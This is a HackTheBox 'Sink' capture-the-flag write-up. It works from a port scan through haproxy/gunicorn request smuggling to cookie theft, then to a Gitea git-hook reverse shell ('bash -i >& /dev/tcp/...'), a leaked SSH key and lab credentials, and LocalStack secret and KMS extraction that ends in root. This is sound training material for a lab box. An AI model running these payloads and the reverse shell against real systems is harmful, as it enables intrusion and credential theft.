Sink Writeup (HackTheBox)
🗓️ Published:
Table of Contents
Enumeration #
The Port Scan #
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647
| Set-Cookie: i_like_gitea=20be128fe12996b5; Path=/; HttpOnly
| Set-Cookie: _csrf=pp8jC9OqwGtMHJT66SqsnMbBzA86MTYzMzAyNjk2NTc5Njk0MTU5OQ; Path=/; Expires=Fri, 01 Oct 2021 18:36:05 GMT; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Thu, 30 Sep 2021 18:36:05 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Gitea: Git with a cup of tea </title>
| <link rel="manifest" href="/manifest.json" crossorigin="use-credentials">
| <meta name="theme-color" content="#6cc644">
| <meta name="author" content="Gitea - Git with a cup of tea" />
| <meta name="description" content="Gitea (Git with a cup of tea) is a painless
...
5000/tcp open http Gunicorn 20.0.0
| http-methods:
|_ Supported Methods: GET POST HEAD OPTIONS
|_http-server-header: gunicorn/20.0.0
|_http-title: Sink Devops
...
So it looks like we have two HTTP servers (along with SSH). Port 3000 seems to be hosting something called Gitea, and port 5000 something about Sink Devops.
Port 3000 - Gitea #
There doesn't seem to be a lot here, as it looks like we need credentials to log in. But, we can at least get a version number (to look for potential CVEs), and a list of potential users for later.
A search for CVEs doesn't turn anything up, so I move on to the next port.
Port 5000 - Sink Devops #
Just a simple log in screen here, and we're new so I registered an account. Upon logging in and poking around, I see we can:
- Post a comment
- Create a note
- Delete notes
In turn, I did some cursory checks to see if there were any XSS opportunities, by submitting the following as a comment and note:
<b>hi</b>If I see hi then that means we have XSS (but this was not the case). I also tried to see if I could access notes that weren't mine, and although I couldn't access the contents, I did notice that going to note IDs that might exist (like 1) was just redirecting me, whereas notes I didn't think would exist (higher IDs) were resulting in application errors.
At this point, at a loss for what to do I decided to take a peek at the server versions. I saw this in my HTTP response:
HTTP/1.1 200 OK
Server: gunicorn/20.0.0
Date: Thu, 30 Sep 2021 19:45:24 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4265
Vary: Cookie
Via: haproxy
X-Served-By: 1bc3f322af05
So that's interesting - an older version of gunicorn and an haproxy sitting in front. haproxy is essentially a load balancer that would receive my HTTP request, and then forward it on to the app server of its choosing. Sending a malformed HTTP request gives us the haproxy version.
user@kali:~$ nc -nv 10.10.10.225 5000
Connection to 10.10.10.225 5000 port [tcp/*] succeeded!
GET / HTTP/1.1
asd
HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html
<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>At this point, I still had no idea what to do - so I just searched up "gunicorn haproxy" and hoped for the best.
HTTP Request Smuggling #
It was here where I found a link to a gist that talked specifically about HTTP request smuggling between haproxy and gunicorn. I had only vaguely heard of this concept up until now, so this was the perfect time for me to go learn more about. To do the same, I recommend the following links:
I'll try and summarize it here in simple terms:
Basically, web architecture these days tends to rely on chains of HTTP servers in order to serve end users. Users often don't communicate directly with the backend server, but rather go through load balancers or reverse proxies (or both). These intermediary servers are the ones that talk to the backend server hosting the web code, get the response and then serve it back to the user. The process of opening a socket and a new TCP connection is quite inefficient, so these servers tend to talk to each other over the same persistent connection - so multiple users' requests travel down the same pipe to be processed by the backend.
If all the servers in the chain don't agree on how to determine where an HTTP request starts and ends, then that opens the window for request smuggling. Imagine the following web request:
POST / HTTP/1.1
Host: 8.8.8.8
Content-Length: 100
user=admin\r\n
\r\n
POST /doadminthing HTTP/1.1
Host: localhost
Content-Length: 13
msg=smuggling
If server A took this whole blob to be one request, but server B happened to delineate requests on the POST keyword, then you'd have just smuggled an HTTP request inside another one. The server would then process the request (in this case you couldn't do that admin thing due to front end security controls).
Performing a Desync #
In this case, the idea isn't to perform an action that we are not able to. Instead, we will try and get the cookie of another user. We know we have the ability to make notes. Using smuggling, if we could leave enough data on the socket to start off the creation of a note, then the next request to come down that socket would become the payload of our note - and we would be able to get the cookie from the headers (if there is one). Back on that gist I linked, it appears that smuggling is possible between haproxy and gunicorn due to how they each interpret headers.
If you put a special character in the header Transfer-Encoding: chunked, then HAProxy will fall back to the Content-Length header to determine where the request ends. However, gunicorn ignores the special character and treats the request as chunked. This leads to the following payload:
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 371
Transfer-Encoding: chunked
Cookie: session=eyJlbWFpbCI6InBhcnNuaXBAcGFyc25pcC5jb20ifQ.YVZcnA.YRQjSpC-uRyPw4EqyXuSRHCEnhs; lang=en-US; i_like_gitea=00450707b5406690; _csrf=avdZY65QyG9sCOuNkBD2To3s_4Y6MTYzMzA0OTM4NDE2NzQ0MjE2OQ; redirect_to=%2Fuser%2Flogin
8
note=abc
0
POST /notes HTTP/1.1
Host: 10.10.10.225:5000
Content-Type: application/x-www-form-urlencoded
Content-Length: 300
Cookie: session=eyJlbWFpbCI6InBhcnNuaXBAcGFyc25pcC5jb20ifQ.YVZcnA.YRQjSpC-uRyPw4EqyXuSRHCEnhs; lang=en-US; i_like_gitea=00450707b5406690; _csrf=avdZY65QyG9sCOuNkBD2To3s_4Y6MTYzMzA0OTM4NDE2NzQ0MjE2OQ; redirect_to=%2Fuser%2Flogin
note=
You may not be able to see it but there's a \x0b character before the chunked.
So now what will happen is that haproxy will fall back on Content-Length which will take the whole payload (371 bytes) as one request. But then, gunicorn will properly terminate the first chunked request, and then begin the second one. However, the second request has a Content-Length of 300 bytes (far more than the 5 bytes we gave with note=). So, the request will wait until the next user's request comes in - and that request will become the payload of the note creation. This is what is called a desync. If all goes well, you should end up with a note on your notes page that looks like this:
Now take that cookie, edit your current session cookie, and refresh the page. You'll be logged in as admin@sink.htb.
Gitea Login #
You'll have access to 3 notes with the following content:
Note 1
Chef Login : http://chef.sink.htb Username : chefadm Password : /6'fEGC&zEx{4]zz
Note 2
Dev Node URL : http://code.sink.htb Username : root Password : FaH@3L>Z3})zzfQ3
Note 3
Nagios URL : https://nagios.sink.htb Username : nagios_adm Password : g8<H6GK\{*L.fB3C
Remember that root user we saw over at Gitea? Sure enough, those root creds work great.
Reverse Shell as git #
At this point, I immediately went to work on a method of code execution I saw when I was searching Gitea. As documented here, one can utilize Git hooks to execute arbitrary shell code when a repo is pushed to. I created my own repo, set up the hook with the following code, and sure enough caught a shell.
user@kali:~/Desktop/10.10.10.225_Sink$ mkdir parsnip ; cd parsnip
user@kali:~/Desktop/10.10.10.225_Sink$ git init
user@kali:~/Desktop/10.10.10.225_Sink$ touch README.md
user@kali:~/Desktop/10.10.10.225_Sink$ git commit -am "l33t hax"
user@kali:~/Desktop/10.10.10.225_Sink$ git remote add origin http://10.10.10.225:3000/root/parsnip.git
user@kali:~/Desktop/10.10.10.225_Sink$ git push -u origin master
# hook code (on the web ui as a post-receive hook)
bash -i >& /dev/tcp/10.10.14.71/443 0>&1 &
user@kali:~/Desktop/10.10.10.225_Sink$ sudo nc -nlvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.225 44440
bash: cannot set terminal process group (1124): Inappropriate ioctl for device
bash: no job control in this shell
git@sink:~/gitea-repositories/root/parsnip.git$ id
id
uid=115(git) gid=123(git) groups=123(git)After plenty of enumeration, I couldn't find a way to get to either of the users on the box (marcus or david) - so I went back to Gitea and actually looked at the repos.
Reverse Shell as marcus #
Sure enough, they were full of content. There was one archived repo called Key_Management, and in the list of commits I saw one labelled "Preparing for Prod". In there was a private SSH key being removed by marcus.
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxi7KuoC8cHhmx75Uhw06ew4fXrZJehoHBOLmUKZj/dZVZpDBh27d
...
H6wje1uuX+VDZ8UB7lJ9HpPJiNawoBQ1hJfuveMjokkN2HR1rrEGHTDoSDmcVPxmHBWsHf
5UiCmudIHQVhEAAAANbWFyY3VzQHVidW50dQECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
I saved this file and proceeded to SSH to the box using this key.
user@kali:~/Desktop/10.10.10.225_Sink$ chmod 600 marcus
user@kali:~/Desktop/10.10.10.225_Sink$ ssh -i marcus marcus@10.10.10.225
...
marcus@sink:~$ id
uid=1001(marcus) gid=1001(marcus) groups=1001(marcus)Escalating to David #
From here, I ran basic enumeration commands and noticed something called LocalStack running in a container. As it turns out, this is a way to mimic AWS infrastructure locally. I also found something else related to AWS while I was perusing Gitea in the Log_Management repo.
@@ -8,8 +8,8 @@ $client = new CloudWatchLogsClient([
'region' => 'eu',
'endpoint' => 'http://127.0.0.1:4566',
'credentials' => [
'key' => 'AKIAIUEN3QWCPSTEITJQ',
'secret' => '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'
'key' => '<ACCESS_KEY_ID>',
'secret' => '<SECRET_KEY>'
],
'version' => 'latest'
]);
Looking at the documentation for LocalStack, it appears that I can use the awslocal command as opposed to aws with a custom endpoint. Drawing on some of my existing AWS knowledge (and reading the AWS CLI docs):
marcus@sink:~$ awslocal logs describe-log-groups
{
"logGroups": [
{
"logGroupName": "cloudtrail",
"creationTime": 1633054381252,
"metricFilterCount": 0,
"arn": "arn:aws:logs:us-east-1:000000000000:log-group:cloudtrail",
"storedBytes": 91
}
]
}
marcus@sink:~$ awslocal logs describe-log-streams --log-group-name cloudtrail
{
"logStreams": [
{
"logStreamName": "20201222",
"creationTime": 1633054381273,
"firstEventTimestamp": 1126190184356,
"lastEventTimestamp": 1533190184356,
"lastIngestionTime": 1633054381296,
"uploadSequenceToken": "1",
"arn": "arn:aws:logs:us-east-1:428:log-group:cloudtrail:log-stream:20201222",
"storedBytes": 91
}
]
}
marcus@sink:~$ awslocal logs get-log-events --log-group-name cloudtrail --log-stream-name 20201222
{
"events": [
{
"timestamp": 1126190184356,
"message": "RotateSecret",
"ingestionTime": 1633054381296
},
{
"timestamp": 1244190184360,
"message": "TagResource",
"ingestionTime": 1633054381296
},
{
"timestamp": 1412190184358,
"message": "PutResourcePolicy",
"ingestionTime": 1633054381296
},
{
"timestamp": 1433190184356,
"message": "AssumeRole",
"ingestionTime": 1633054381296
},
{
"timestamp": 1433190184358,
"message": "PutScalingPolicy",
"ingestionTime": 1633054381296
},
{
"timestamp": 1433190184360,
"message": "RotateSecret",
"ingestionTime": 1633054381296
},
{
"timestamp": 1533190184356,
"message": "RestoreSecret",
"ingestionTime": 1633054381296
}
],
"nextForwardToken": "f/00000000000000000000000000000000000000000000000000000006",
"nextBackwardToken": "b/00000000000000000000000000000000000000000000000000000000"
}So there seems to be something going on with secrets... This is where I turned to the docs and found something called SecretsManager. And again from the docs:
The encrypted fields SecretString and SecretBinary are not included in the output. To get that information, call the GetSecretValue operation.
marcus@sink:~$ awslocal secretsmanager list-secrets
{
"SecretList": [
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ozVcw",
"Name": "Jenkins Login",
"Description": "Master Server to manage release cycle 1",
...
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-eFOQN",
"Name": "Sink Panel",
"Description": "A panel to manage the resources in the devnode",
...
},
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-CWPUD",
"Name": "Jira Support",
"Description": "Manage customer issues",
...
}
]
}
marcus@sink:~$ awslocal secretsmanager list-secrets | grep Name | cut -d '"' -f 4 | while read name; do awslocal secretsmanager get-secret-value --secret-id "$name"; done
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jenkins Login-ozVcw",
"Name": "Jenkins Login",
"VersionId": "d33262b6-9b00-48bc-8015-00c1372caa96",
"SecretString": "{\"username\":\"john@sink.htb\",\"password\":\"R);\\)ShS99mZ~8j\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1633028716
}
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Sink Panel-eFOQN",
"Name": "Sink Panel",
"VersionId": "71e49a77-5ba1-4199-82ea-d9a730f6a08a",
"SecretString": "{\"username\":\"albert@sink.htb\",\"password\":\"Welcome123!\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1633028716
}
{
"ARN": "arn:aws:secretsmanager:us-east-1:1234567890:secret:Jira Support-CWPUD",
"Name": "Jira Support",
"VersionId": "c66790c0-9914-4092-8844-0deb72c9d10e",
"SecretString": "{\"username\":\"david@sink.htb\",\"password\":\"EALB=bcC=`a7f2#k\"}",
"VersionStages": [
"AWSCURRENT"
],
"CreatedDate": 1633028716
}And the password for david works like a charm with su.
On to Root #
marcus@sink:~$ su david
Password:
david@sink:/home/marcus$ id
uid=1000(david) gid=1000(david) groups=1000(david)
david@sink:/home/marcus$ cd /home/david
david@sink:~$ ll
total 28
drwxr-xr-x 4 david david 4096 Feb 1 2021 ./
drwxr-xr-x 5 root root 4096 Dec 2 2020 ../
lrwxrwxrwx 1 david david 9 Dec 2 2020 .bash_history -> /dev/null
-rw-r--r-- 1 david david 220 Dec 2 2020 .bash_logout
-rw-r--r-- 1 david david 3771 Dec 2 2020 .bashrc
drwxrwxr-x 3 david david 4096 Feb 1 2021 .local/
-rw-r--r-- 1 david david 807 Dec 2 2020 .profile
drwxr-x--- 3 david david 4096 Dec 2 2020 Projects/
david@sink:~$ cd Projects/
david@sink:~/Projects$ ll
total 12
drwxr-x--- 3 david david 4096 Dec 2 2020 ./
drwxr-xr-x 4 david david 4096 Feb 1 2021 ../
drwxrwx--- 2 david david 4096 Feb 1 2021 Prod_Deployment/
david@sink:~/Projects$ cd Prod_Deployment/
david@sink:~/Projects/Prod_Deployment$ ll
total 12
drwxrwx--- 2 david david 4096 Feb 1 2021 ./
drwxr-x--- 3 david david 4096 Dec 2 2020 ../
-rw-r----- 1 david david 512 Feb 1 2021 servers.encHere lies an encrypted file... But where the heck is the key? I knew from prior knowledge that AWS has its own KMS built-in, but I also saw the following in the listkeys.php file in the Key_Management repo.
$KmsClient = new Aws\Kms\KmsClient([
'profile' => 'default',
'version' => '2020-12-21',
'region' => 'eu',
'endpoint' => 'http://127.0.0.1:4566'
]);
So I read the docs on the kms part of the AWS CLI, which lead me to the following commands:
david@sink:~/Projects/Prod_Deployment$ awslocal kms list-keys
# gave back 11 keys
david@sink:~/Projects/Prod_Deployment$ awslocal kms list-keys | grep KeyId | cut -d '"' -f 4 | while read id; do awslocal kms describe-key --key-id $id; done
...
{
"KeyMetadata": {
"AWSAccountId": "000000000000",
"KeyId": "f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
"Arn": "arn:aws:kms:us-east-1:000000000000:key/f0579746-10c3-4fd1-b2ab-f312a5a0f3fc",
"CreationDate": 1609757168,
"Enabled": false,
"Description": "Encryption and Decryption",
"KeyUsage": "ENCRYPT_DECRYPT",
"KeyState": "Disabled",
"Origin": "AWS_KMS",
"KeyManager": "CUSTOMER",
"CustomerMasterKeySpec": "RSA_4096",
"EncryptionAlgorithms": [
"RSAES_OAEP_SHA_1",
"RSAES_OAEP_SHA_256"
]
}
}
{
"KeyMetadata": {
"AWSAccountId": "000000000000",
"KeyId": "f2358fef-e813-4c59-87c8-70e50f6d4f70",
"Arn": "arn:aws:kms:us-east-1:000000000000:key/f2358fef-e813-4c59-87c8-70e50f6d4f70",
"CreationDate": 1609757401,
"Enabled": false,
"Description": "Digital Signature Verification",
"KeyUsage": "SIGN_VERIFY",
"KeyState": "Disabled",
"Origin": "AWS_KMS",
"KeyManager": "CUSTOMER",
"CustomerMasterKeySpec": "ECC_NIST_P521",
"SigningAlgorithms": [
"ECDSA_SHA_512"
]
}
}
...I looked through the 11 results for keys that were Enabled and had a KeyUsage of Encrypt_Decrypt. Here is the correct blob:
{
"KeyMetadata": {
"AWSAccountId": "000000000000",
"KeyId": "804125db-bdf1-465a-a058-07fc87c0fad0",
"Arn": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0",
"CreationDate": 1609757999,
"Enabled": true,
"Description": "Encryption and Decryption",
"KeyUsage": "ENCRYPT_DECRYPT",
"KeyState": "Enabled",
"Origin": "AWS_KMS",
"KeyManager": "CUSTOMER",
"CustomerMasterKeySpec": "RSA_4096",
"EncryptionAlgorithms": [
"RSAES_OAEP_SHA_1",
"RSAES_OAEP_SHA_256"
]
}
}
From here, I attempted to decrypt the servers.enc file:
david@sink:~/Projects/Prod_Deployment$ awslocal kms decrypt --ciphertext-blob fileb://servers.enc --key-id 804125db-bdf1-465a-a058-07fc87c0fad0
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
david@sink:~/Projects/Prod_Deployment$ awslocal kms decrypt --ciphertext-blob fileb://servers.enc --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --encryption-algorithm RSAES_OAEP_SHA_1
An error occurred (InvalidCiphertextException) when calling the Decrypt operation:
david@sink:~/Projects/Prod_Deployment$ awslocal kms decrypt --ciphertext-blob fileb://servers.enc --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --encryption-algorithm RSAES_OAEP_SHA_256
{
"KeyId": "arn:aws:kms:us-east-1:000000000000:key/804125db-bdf1-465a-a058-07fc87c0fad0",
"Plaintext": "H4sIAAAAAAAAAytOLSpLLSrWq8zNYaAVMAACMxMTMA0E6LSBkaExg6GxubmJqbmxqZkxg4GhkYGhAYOCAc1chARKi0sSixQUGIry80vwqSMkP0RBMTj+rbgUFHIyi0tS8xJTUoqsFJSUgAIF+UUlVgoWBkBmRn5xSTFIkYKCrkJyalFJsV5xZl62XkZJElSwLLE0pwQhmJKaBhIoLYaYnZeYm2qlkJiSm5kHMjixuNhKIb40tSqlNFDRNdLU0SMt1YhroINiRIJiaP4vzkynmR2E878hLP+bGALZBoaG5qamo/mfHsCgsY3JUVnT6ra3Ea8jq+qJhVuVUw32RXC+5E7RteNPdm7ff712xavQy6bsqbYZO3alZbyJ22V5nP/XtANG+iunh08t2GdR9vUKk2ON1IfdsSs864IuWBr95xPdoDtL9cA+janZtRmJyt8crn9a5V7e9aXp1BcO7bfCFyZ0v1w6a8vLAw7OG9crNK/RWukXUDTQATEKRsEoGAWjYBSMglEwCkbBKBgFo2AUjIJRMApGwSgYBaNgFIyCUTAKRsEoGAWjYBSMglEwRAEATgL7TAAoAAA=",
"EncryptionAlgorithm": "RSAES_OAEP_SHA_256"
}
david@sink:~/Projects/Prod_Deployment$ awslocal kms decrypt --ciphertext-blob fileb://servers.enc --key-id 804125db-bdf1-465a-a058-07fc87c0fad0 --encryption-algorithm RSAES_OAEP_SHA_256 | grep Plaintext | cut -d '"' -f 4 | base64 -d > /tmp/parsnip
david@sink:~/Projects/Prod_Deployment$ file /tmp/parsnip
/tmp/parsnip: gzip compressed data, from Unix, original size modulo 2^32 10240
david@sink:~/Projects/Prod_Deployment$ mv /tmp/parsnip /tmp/parsnip.gz
david@sink:~/Projects/Prod_Deployment$ gunzip /tmp/parsnip.gz
david@sink:~/Projects/Prod_Deployment$ ll
total 12
drwxrwx--- 2 david david 4096 Feb 1 2021 ./
drwxr-x--- 3 david david 4096 Dec 2 2020 ../
-rw-r----- 1 david david 512 Feb 1 2021 servers.enc
david@sink:~/Projects/Prod_Deployment$ ll /tmp/parsnip
-rw-rw-r-- 1 david david 10240 Oct 1 02:32 /tmp/parsnip
david@sink:~/Projects/Prod_Deployment$ file /tmp/parsnip
/tmp/parsnip: POSIX tar archive (GNU)
david@sink:~/Projects/Prod_Deployment$ tar -list -f /tmp/parsnip
servers.yml
servers.sig
david@sink:~/Projects/Prod_Deployment$ tar -xvf /tmp/parsnip
servers.yml
servers.sig
david@sink:~/Projects/Prod_Deployment$ ll
total 20
drwxrwx--- 2 david david 4096 Oct 1 02:34 ./
drwxr-x--- 3 david david 4096 Dec 2 2020 ../
-rw-r----- 1 david david 512 Feb 1 2021 servers.enc
-rw-r--r-- 1 david david 137 Jan 4 2021 servers.sig
-rw-r--r-- 1 david david 139 Jan 4 2021 servers.yml
david@sink:~/Projects/Prod_Deployment$ cat servers.yml
server:
listenaddr: ""
port: 80
hosts:
- certs.sink.htb
- vault.sink.htb
defaultuser:
name: admin
pass: _uezduQ!EY5AHfe2
david@sink:~/Projects/Prod_Deployment$ su root
Password:
root@sink:/home/david/Projects/Prod_Deployment# id
uid=0(root) gid=0(root) groups=0(root)
root@sink:/home/david/Projects/Prod_Deployment# rm servers.yml servers.sig /tmp/parsnip